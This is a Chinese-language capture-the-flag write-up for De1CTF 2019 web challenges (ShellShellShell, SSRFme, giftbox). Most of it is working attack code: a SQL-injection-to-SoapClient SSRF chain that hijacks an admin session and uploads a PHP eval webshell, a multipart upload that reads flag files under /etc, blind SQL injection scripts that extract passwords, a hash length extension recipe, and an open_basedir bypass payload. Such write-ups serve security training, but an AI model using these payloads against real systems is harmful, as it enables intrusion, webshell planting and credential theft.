https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/web
https://www.jianshu.com/p/0a02f4ff6a7e
WEB
shellshellshell
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/web/ShellShellShell/README_zh.md
(国外师傅写WP也太细了。。)
第一层就是N1CTF2018
的原题,知识点二次注入+利用SoapClient进行SSRF+文件上传,需要对上述文章中的脚本更改一下password
值。
先注出admin
账户的password
,这里使用时间盲注,根据上述文章说的,只需要更将单引号改成反引号即可闭合,
password
之后更改脚本里的值,然后运行脚本
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
from itertools import product
_target = 'http://20.20.20.128:11027/'
_action = _target + 'index.php?action='
def get_code_dict():
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
#code
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution
def register(username, password):
resp = sess.get(_action+'register')
code = solve_code(resp.text)
sess.post(_action+'register', data={'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_action+'login')
code = solve_code(resp.text)
sess.post(_action+'login', data={'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})
def get_prc_now():
# date_default_timezone_set("PRC") is not important
return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])
def get_admin_session():
sess = requests.Session()
resp = sess.get(_action+'login')
code = solve_code(resp.text)
return sess.cookies.get_dict()['PHPSESSID'], code
get_code_dict()
print '[+] creating user session to trigger ssrf'
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']
print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 200\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`, {}); -- -'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'
resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
# resp = sess.post(_action+'publish')
# print resp.text
print '[+] uploading stager'
shell = {'pic': ('jaivy.php', '<?php @eval($_POST[jaivy]);?>', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)
# print resp.text
webshell_url=_target+'upload/jaivy.php'
print '[+] shell => '+webshell_url+'\n'
post_data={"jaivy":"system('ls -al');"}
resp = sess.post(url=webshell_url,data=post_data)
print resp.text
session
直接登录即可。登录之后上传shell
,没有原题中标签过滤,所以上传木马,抓包改type
即可
第二层说是内网题,直接ifconfig
,或者/etc/host
看一下内网地址
ew
代理进内网扫开放80端口的主机(我还研究了一晚上ew怎么用)。结果大哥@tr1ple告诉我ew
无法使用域名来代理,也就是说buuoj
的环境是没法代理的。所以直接偷别人的wp了
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.16.54.2",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tr1ple.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../tr1ple11.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
原题的代码如下:
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name'])
{
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename))
{
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1])
{
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php')
{
if(strpos($_,$new_name)===false)
{
include($_);
}
else
{
echo "you can do it!";
}
}
unlink($new_name);
}
else
{
highlight_file(__FILE__);
}
考点主要是
- end()显示的是最后一个输入
- unlink()的特性,借用p神的解释
查看php源码,其实我们能发现,php读取、写入文件,都会调用php_stream_open_wrapper_ex来打开流,而判断文件存在、重命名、删除文件等操作则无需打开文件流。
我们跟一跟php_stream_open_wrapper_ex就会发现,其实最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。而文件删除等操作则不会,这就是二者的区别。
所以,如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉“../”等相对路径,所以不会出错;判断、删除的时候因为不会处理,所以就会出现“No such file or directory”的错误。
这里主要的问题是目标主机,我是用蚁剑插件发现开放着80端口的主机,结果一直失败。然后发现有n台开放着80端口的主机,flag
在10那台上。
SSRFme
简单的一道hash
长度扩展题(奇怪的是buuoj上一直都是500)
- 访问
geneSign?param=flag.txt
,拿到sign=hashlib.md5(secert_key + 'flag.txt' + 'scan').hexdigest()
- 使用
hashpump
,DATA
设置成flag.txtscan
,长度16,添加read
。 - 获得的数据中
\x
改成%
。 - 访问
/De1ta?param=flag.txt
,cookie
设置成cookies={'action': action,'sign': sign}
其中action
和sign
为(3)中获得的数据。
出题人的wp中好像还多了一个CVE-2019-9948(urllib)
的考点,把上述的flag.txt
改成local-file:flag.txt
giftbox
查看usage.md
login
功能,发现存在sql
注入js
文件,main.js
发现了接口python
的opt
库来完成时间戳生成,注入并没有过滤,写盲注脚本如下:
import requests
import pyotp
import urllib
url = 'http://f1903092-a1e9-40d7-bd59-ea3d02cad232.node3.buuoj.cn/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
pos = 1
flag =''
while True:
i=31
while i<128:
#username = "-1'/**/or/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),%d,1)))=%d,1,0)#" % (pos, i)
#username = "-1'/**/or/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users'),%d,1)))=%d,1,0)#" % (pos, i)
username = "-1'/**/or/**/if((ascii(substr((select/**/group_concat(password)/**/from/**/users),%d,1)))=%d,1,0)#" % (pos, i)
password = '1'
payload = 'login %s %s'%(username,password)
res = requests.get(url=url.format(urllib.quote(payload), totp.now()))
if 'password' in res.text:
flag += chr(i)
print flag
break
if i == 127:
print "no~"
i = 31
i+=1
pos += 1
print "oops~"
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
eval
在launch
的时候被调用。launch
前需要先用targeting
设置,不过对输入有限制,这里可以fuzz
一下,得知code
限制a-zA-Z0-9
,position
限制a-zA-Z0-9})$({_+-,.
,而且两者的长度也有限制。所以使用字符串拼接以及利用
chr()
来构造所需要的的字符。这时候发现有open_basedir
,也设置了disable_function
,所以要绕open_basedir
来读取其他目录文件
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
import requests
import pyotp
import urllib
url = 'http://44930d88-0120-4e0a-8c9f-b2fb7909b813.node3.buuoj.cn/shell.php?a={}&totp={}'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
re = requests.session()
def login():
username = 'admin'
password = 'hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}'
payload = 'login %s %s'%(username,password)
re.get(url=url.format(urllib.quote(payload), totp.now()))
def targeting(code ,position):
payload = 'targeting %s %s' % (code, position)
re.get(url=url.format(urllib.quote(payload), totp.now()))
def launch():
payload = 'launch'
return re.get(url=url.format(urllib.quote(payload), totp.now())).text
def destruct():
payload = 'destruct'
re.get(url=url.format(urllib.quote(payload), totp.now()))
login()
destruct()
targeting('a', 'chr')
targeting('b', '{$a(46)}')
targeting('c', '{$b}{$b}')
targeting('d', '{$a(47)}')
targeting('e', 'js')
targeting('f', 'open_basedir')
targeting('g', 'chdir')
targeting('h', 'ini_set')
targeting('i', 'file_get_')
targeting('j', '{$i}contents')
targeting('k', '{$g($e)}')
targeting('l', '{$h($f,$c)}')
targeting('m', '{$g($c)}')
targeting('n', '{$h($f,$d)}')
targeting('o', '{$d}flag')
targeting('p', '{$j($o)}')
targeting('q', 'printf')
targeting('r', '{$q($p)}')
print(launch())
未完待续